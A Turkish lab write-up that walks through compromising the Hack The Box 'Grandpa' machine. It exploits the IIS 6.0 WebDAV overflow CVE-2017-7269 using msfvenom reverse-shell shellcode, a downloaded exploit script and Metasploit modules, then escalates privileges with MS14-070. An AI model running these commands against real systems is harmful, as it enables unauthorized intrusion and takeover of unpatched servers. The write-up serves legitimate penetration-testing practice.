Hack The Box: Grandpa Çözümü

0
1639
views
Hack the Box platformu sızma testi alıştırmaları için kullanılabilecek çevrimiçi platformlardan birisidir. Bu yazıda, Hack The Box platformundaki Grandpa isimli Kolay zorluktaki sanal makinenin ele geçirilmesi incelenecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Grandpa sanal makinesinin IP ve işletim sistemi bilgileri aşağıdaki gibidir.

  • IP Adresi: 10.10.10.14
  • İşletim Sistemi: Windows

 

A) Port Tarama

Port taraması sonucunda 1 adet portun açık olduğu tespit edilmiştir.

nmap -sS -sV -sC -p- –open -oN nmap 10.10.10.14
cat nmap

 

Açık port aşağıdaki gibidir:

  • 80/tcp

 

Yukarıda detayları verilen tarama işlemine ait ekran görüntüsü incelendiğinde, hedef sistem üzerinde TCP\80 portunın açık olduğu ve bu portta IIS 6.0 hizmetinin verildiği görülmektedir. Buradan yola çıktığımızda hedef sistemin Windows Server 2003 olduğunu söyleyebiliriz. Ayrıca bununla beraber “webDAV” uzantısının etkin olduğu ve söz konusu web uygulamasının üzerinde tehlikeli HTTP metodlarının izinli olduğunu gözlemliyoruz.

 

B) HTTP Servisinin İncelenmesi

Gerçekleştirilen nmap taramasında, TCP\80 portunda IIS 6.0 servisi çalışmaktadır.

İlgili HTTP servisi “gobuster” aracı ile tarandığında (crawl edildiğinde) pek bir bilgi elde edilememiştir.

gobuster -u http://10.10.10.14/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -s ‘200,204,301,302,307,403,500’ -e -x html,asp,aspx -o gobuster.txt

 

Benzer olarak “nikto” aracı bilgi toplama işlemi gerçekleştirildiğinde de yeni bir bilgi elde edilememiştir.

nikto –host=http://10.10.10.14

 

İlgili aşamalarda çok net birşeyler elde edemediğimizden dolayı bir de ilgili IIS versiyonu üzerinde herhangi bir zafiyet yayınlanıp yayınlanmadığını kontrol etmek için Exploit DB’ yi kontrol ediyoruz. IIS web sunucusuna ait sürüm bilgisi 6.0 olarak tespit edilmişti. Bu sürüme ait zafiyetler “searchsploit” aracı ile araştırılabilir.

searchsploit IIS 6.0

 

Gerçekleştirdiğimiz arama sonucu ilgili versiyon üzerinde birden fazla zafiyet yayınlandığını gözlemliyoruz. İlgili zafiyetleri incelediğimizde aşağıda detayları verilen BoF zafiyetini kullanarak hedef sistem üzerinde bir oturum elde edebileceğimizi tespit ediyoruz.

  • Zafiyetin adı: Microsoft IIS 6.0 – WebDAV ‘ScStoragePathFromUrl’ Remote Buffer Overflow
  • Zafiyetin Exploit DB üzerindeki adresi: https://www.exploit-db.com/exploits/41738

 

C) IIS 6.0 – WebDAV Üzerindeki ‘ScStoragePathFromUrl’ Fonksiyonunun İstismarı: Explodingcan.py Betiği

CVE-2017-7269 ID’li bu zafiyetin github üzerinde yayınlanmış herhangi bir istismar kodunun var olup olmadığını kontrol ettiğimizde, aşağıda adresi verilen Python betiği ile karşılaşıyoruz.

https://github.com/danigargu/explodingcan

 

Ardından ilgili exploiti indiriyoruz;

git clone https://github.com/danigargu/explodingcan.git
ls
cd explodingcan
ls

 

Söz konusu exploiti kullanırken ters bağlantı almamızı sağlayacak shellcode‘umuzu üretiyoruz;

msfvenom -p windows/meterpreter/reverse_tcp -f raw -v sc -e x86/alpha_mixed LHOST=10.10.14.62 LPORT=4444 > shellcode
ls -la
file shellcode
cat shellcode

 

Exploitimizi çalıştırmadan önce dinleyicimizi başlatıyoruz.

service postgresql start
msfconsole -q
use exploit/multi/handler
set LHOST 10.10.14.62
show options
exploit

 

İndirilen explodingcan.py betiği ile istismar işlemi gerçekleştirilebilir.

python explodingcan.py http://10.10.14.62 shellcode

 

İstismar işleminin başarılı bir şekilde gerçekleşmesi durumunda dinleyici tarafında talep yakalanır.

getuid

 

Meterpreter komut satırına düştüğümüzde çalıştırdığımız komutlar aşağıdaki gibidir:

sysinfo
getuid
getsystem
background

 

Yukarıdaki ekran görüntüsünden de görülebileceği üzere hedef sistem üzerinde “NT AUTHORITY\Network Service” haklarında oturum elde etmiş bulunmaktayız. Bu durumda yetki yükselterek hedef sistem üzerinde “NT AUTHORITY\SYSTEM” haklarına yükselmemiz gerekiyor.

 

D) IIS 6.0 – WebDAV Üzerindeki ‘ScStoragePathFromUrl’ Fonksiyonunun İstismarı: iis6-exploit-2017-CVE-2017-7269.py Betiği

Aynı zafiyetin istismarı için iis6-exploit-2017-CVE-2017-7269.py betiği de kullanılabilir.

https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269.git

Ardından ilgili exploiti indiriyoruz;

wget https://raw.githubusercontent.com/g0rx/iis6-exploit-2017-CVE-2017-7269/master/iis6%20reverse%20shell -O exploit.py
file exploit.py
python exploit.py

 

Dinleyici başlatılır.

nc -nlvp 1234

 

İndirilen “iis6 reverse shell” (exploit.py) betiği ile istismar işlemi gerçekleştirilebilir.

python exploit.py 10.10.10.14 80 10.10.14.6 80

 

İstismar işleminin başarılı bir şekilde gerçekleşmesi durumunda dinleyici tarafında talep yakalanır.

 

E) IIS 6.0 – WebDAV Üzerindeki ‘ScStoragePathFromUrl’ Fonksiyonunun İstismarı: MSF iis_webdav_scstoragepathfromurl İstismar Modülü

Aynı zafiyetin istismarı için MSF iis_webdav_scstoragepathfromurl istismar modülü de kullanılabilir.

use exploit/windows/iis/iis_webdav_scstoragepathfromurl
set rhost 10.10.10.14
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.14.3
set lport 4444
run

 

F) Hak Yükseltme Zafieytlerinin Tespiti

Meterpreter erişiminin elde edilmesi durumunda; hedef sistem üzerinde yetki yükseltmemiz için var olabilecek açıklıkları tespit etmek için MSF local_exploit_suggester modülünü kullanıyoruz.

use post/multi/recon/local_exploit_suggester
set SESSION 1
show options

 

İstismar işlemini başlattığımızda sistem üzerinde birden fazla güncelleme eksikliğinden kaynaklanan zafiyet olduğunu gözlemliyoruz.

exploit

 

MSF local_exploit_suggester istismar modülü sonucuna göre sömürülebilecek hak yükseltme zafiyetlerinin listesi aşağıdaki gibidir.

  • MS14-058
  • MS14-070
  • MS15-051
  • MS13-053

Not: Manuel istismar işlemleri için SecWiki’nin derlenmiş istismar dosyaları kullanılabilir.

https://github.com/SecWiki/windows-kernel-exploits

 

G) MS14-070 Hak Yükseltme Zafiyetinin İspatı

İlgili zafiyetler arasından MS14-070 ID’li zafiyeti seçerek hedef sistem üzerinde yetki yükseltme işlemini gerçekleştiriyoruz. Bu aşama için MSF ms14_070_tcpip_ioctl modülü kullanılabilir.

use exploit/windows/local/ms14_070_tcpip_ioctl
set SESSION 1
show options

 

Hak yükseltme işlemi gerçekleştirildiğinde, hedef sistem üzerindeki “NT AUTHORITY\SYSTEM” yetkilerine erişildiği görülmektedir.

exploit
sessions -i 1
getuid

 

H) Bayrakların Elde Edilmesi

Bu aşamada “user.txt” ve “root.txt” dosyalarının yerinin tespiti için “search” komutu kullanılabilir.

search -f *.txt

İlgili dosyalardan “user.txt” dosyasının içeriğinin görüntülenmesi için ise “type” komutu kullanılabilir.

cd C:\Documents and Settings\Harry\Desktop\user.txt
type user.txt

 

Benzer olarak “root.txt” dosyasının içeriği de okunabilir.

cd C:\Documents and Settings\Administrator\Desktop\root.txt
type root.txt

 

Kaynaklar:

https://pentestworld.blogspot.com/2019/10/hack-box-blue.html
https://resources.infosecinstitute.com/hack-the-box-htb-machines-walkthrough-series-grandpa/

Hack the Box Challenge: Grandpa Walkthrough


https://github.com/Bengman/CTF-writeups/blob/master/Hackthebox/grandpa.md
https://hok.ninja/2019/05/15/htb-grandpa

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.